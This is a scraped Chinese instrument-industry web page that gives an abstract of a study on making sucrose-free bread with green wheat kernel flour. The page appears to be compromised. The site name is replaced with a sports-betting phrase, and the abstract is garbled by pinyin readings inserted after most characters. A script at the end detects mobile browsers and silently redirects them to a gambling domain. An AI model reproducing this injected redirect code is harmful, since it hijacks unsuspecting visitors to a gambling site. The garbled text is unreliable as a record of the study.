欧洲杯滚球玩法

官方微信|手机版

产品推荐:气相|液相|光谱|质谱|电化学|元素分析|水分测定仪|样品前处理|试验机|培养箱

慕尼黑展览上海有限公司

技术中心


您现在的位置:欧洲杯滚球玩法>技术中心>分析测试方法>正文


青麦仁全粉无蔗糖面包的加工工艺研究---美国FTC质构仪

摘要(yao):以面包粉(fen)(fen)与(yu)青(qing)麦(mai)(mai)(mai)(mai)仁(ren)全(quan)粉(fen)(fen)的混合(he)粉(fen)(fen)作为(wei)(wei)(wei)(wei)主原料(liao),麦(mai)(mai)(mai)(mai)芽糖(tang)醇替代(dai)蔗糖(tang)作为(wei)(wei)(wei)(wei)甜(tian)味剂,通(tong)过单因素试(shi)(shi)验(yan)研究了青(qing)麦(mai)(mai)(mai)(mai)仁(ren)全(quan)粉(fen)(fen)添(tian)加(jia)量(liang)、麦(mai)(mai)(mai)(mai)芽糖(tang)醇添(tian)加(jia)量(liang)、干酵(jiao)母添(tian)加(jia)量(liang)以及(ji)醒发(fa)时间(jian)对青(qing)麦(mai)(mai)(mai)(mai)仁(ren)全(quan)粉(fen)(fen)无蔗糖(tang)面包品质的影响,再通(tong)过正(zheng)交试(shi)(shi)验(yan)优(you)化确(que)定了青(qing)麦(mai)(mai)(mai)(mai)仁(ren)全(quan)粉(fen)(fen)无蔗糖(tang)面包的较(jiao)(jiao)佳加(jia)工(gong)工(gong)艺。结果(guo)表(biao)明:青(qing)麦(mai)(mai)(mai)(mai)仁(ren)全(quan)粉(fen)(fen)添(tian)加(jia)量(liang)为(wei)(wei)(wei)(wei)15%,麦(mai)(mai)(mai)(mai)芽糖(tang)醇添(tian)加(jia)量(liang)为(wei)(wei)(wei)(wei)15%,干酵(jiao)母添(tian)加(jia)量(liang)为(wei)(wei)(wei)(wei)2%,醒发(fa)时间(jian)为(wei)(wei)(wei)(wei)60 min时,面包外形光滑饱满,内外色泽均匀,细腻柔软,香甜(tian)可口,品质较(jiao)(jiao)佳,且与(yu)普通(tong)面包相比也具有更(geng)高(gao)的营养价值(zhi)。 


关键(jian)词:青(qing)麦仁全粉,无(wu)蔗糖(tang)面包,加工工艺

关注本网官(guan)方微信 随时阅读专业资讯

全年征稿 / 资讯合作

联系邮箱(xiang):2837103554@qq.com

版权与免责声(sheng)明

  • 凡本网注明“来源:欧洲杯滚球玩法”的所有作品,均为浙江兴旺宝明通网络有限公司-欧洲杯滚球玩法合法拥有版权或有权使用的作品,未经本网授权不得转载、摘编或利用其它方式使用上述作品。已经本网授权使用作品的,应在授权范围内使用,并注明“来源:欧洲杯滚球玩法”。违反上述声明者,本网将追究其相关法律责任。
  • 本网转载并注明自其它来源(非欧洲杯滚球玩法)的作品,目的在于传递更多信息,并不代表本网赞同其观点或和对其真实性负责,不承担此类作品侵权行为的直接责任及连带责任。其他媒体、网站或个人从本网转载时,必须保留本网注明的作品第一来源,并自负版权等法律责任。
  • 如涉及作品内容、版权等问题,请在作品发表之日起一周内与本网联系,否则视为放弃相关权利。

友情提示:
如果您已经是欧洲杯滚球玩法的会员,请先 登录 后留言,这有助于您便捷留言,更好地和客户沟通。
还不是会员? 立即 免费注册
提交留言
返回欧洲杯滚球玩法产品对比发布询价建议反馈官方微信
回到顶部
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();